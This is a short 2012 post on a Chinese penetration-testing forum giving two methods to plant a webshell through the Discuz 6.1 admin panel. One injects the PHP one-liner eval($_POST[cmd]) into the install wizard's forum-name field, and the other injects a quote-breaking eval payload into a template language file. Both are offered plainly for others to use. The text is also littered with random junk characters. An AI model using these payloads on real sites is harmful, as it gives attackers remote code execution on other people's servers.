中国网络渗透测试联盟

标题: discuz6.1后台拿shell方法 [打印本页]
作者: admin    时间: 2012-9-13 16:59
标题: discuz6.1后台拿shell方法
discuz6.1两种方法后台拿shell* D/ u$ l6 M' P7 b% P, C
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下$ \& v) i. q5 |1 M" s0 D
1:
1 A& P. j4 }! U* `$ yhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes' l" j) {7 h0 @8 t
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
/ E% j5 h+ x% t& E. R/ E& z. @<?php eval($_POST[cmd]);?>
# S+ X$ ^/ q4 I4 X2 m+ r: d* @后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php% W& H$ n/ q1 k2 ]$ @$ O8 q
& @0 b2 Q* h" w

" ]4 v* h" l- ^! H- P2:后台模板管理--默认模板套系--详情- S$ L3 H# q" i0 C$ z1 {  E
templates/default/actions.lang.php# s# u( H7 T5 m- L& S. l
jhackj\\');eval($_POST[cmd])?>;//
6 S: R* m+ `8 |6 u! p* s" V6 ]* R8 N0 K6 `
利用很简单,聪明的人一看就懂了



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2